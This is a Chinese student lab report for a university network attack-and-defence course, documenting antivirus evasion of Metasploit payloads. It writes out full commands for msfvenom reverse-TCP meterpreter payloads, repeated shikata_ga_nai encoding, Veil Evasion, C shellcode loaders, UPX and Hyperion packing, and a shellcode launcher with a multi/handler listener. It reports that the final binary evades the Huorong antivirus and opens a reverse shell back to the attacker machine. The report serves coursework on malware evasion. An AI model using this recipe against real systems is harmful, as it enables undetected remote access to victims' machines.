学号20192411 2021-2022-2 《网络与系统攻防技术》实验3实验报告
作者:互联网
学号20192411 2021-2022-2 《网络与系统攻防技术》实验3实验报告
目录1.实验内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验过程
2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
-
先用msfvenom直接生成可执行文件,检出率为52/69,接着以此为参照。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 PORT=443 -f exe > 2411.exe
-
接着用msf编码器进行一次编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.110 LPORT=443 -f exe > 2411_1.exe
检出率仍是52/69:
再用msf编码器编码10次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.110 LPORT=443 -f exe > 2411_10.exe
检出率还是没有变化:
原因:AV厂商研究的是编码器本身,只需要针对msf编码器生成的exe的固定特征检测,就可以检测出来。
-
尝试用msfvenom生成jar文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.110 PORT=443 -f jar > 2411_jar.jar
-
尝试用msfvenom生成php文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.110 PORT=443 x> 2411_php.php
2.1.2 veil,加壳工具
-
首先安装veil:
apt -y install veil # 问题1
-
进入veil
选择工具1Evasion:
use 1
再用list查看Available Payloads:
list
然后选择7:
use 7
接着就设置IP和端口,然后生成文件:
set LHOST 192.168.56.107 set LPORT 443 generate
根据生成的文件所在的路径就可以找到exe文件,再检测exe文件的检出率:
2.1.3 使用C + shellcode编程
-
用如下指令生成一个c语言格式的Shellcode数组:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=443 -f c
新建一个c文件,将刚刚生成的数组写入到程序:
vi 2411_Shellcode.c
编译生成的c文件:
i686-w64-mingw32-g++ 2411_Shellcode.c -o 2411_Shellcode.exe
检测刚刚编译得到的exe文件:
2.2 通过组合应用各种技术实现恶意代码免杀
-
结合C + shellcode编程、压缩壳、加密壳
生成一段C语言shellcode(上一步骤生成的是在旧的kali系统,故这里再生成一个):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.107 LPORT=443 -f c
将生成的C语言shellcode放入新建的c文件中:
再编译生成的c文件:
i686-w64-mingw32-g++ 20192411shellcode.c -o 20192411shellcode.exe
给编译生成的20192411shellcode.exe加压缩壳:
upx 20192411shellcode.exe -o 20192411shellcode_upx.exe
将加完压缩壳的20192411shellcode_upx.exe复制到/usr/share/windows-resources/hyperion中,然后给它再加一个加密壳:
wine hyperion.exe -v 20192411shellcode_upx.exe 20192411shellcode_final.exe
放到主机中,让火绒对其所在文件夹进行查杀,火绒没有发现:
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
-
生成raw文件:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 9 -b '\x00' lhost=192.168.56.107 lport=443 -f raw -o 20192411.raw
-
将生成的raw文件放到主机shellcode_launcher所在文件夹下,主机带有火绒,版本为5.0.66.3:
-
kali中进入msfconsole控制台,设置相应参数,开启监听:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.107 set LPORT 443 exploit
-
在20192411.raw所在文件夹下打开cmd,执行:
shellcode_launcher.exe -i 20192411.raw
-
监听端监听到连接,接着成功实现反弹: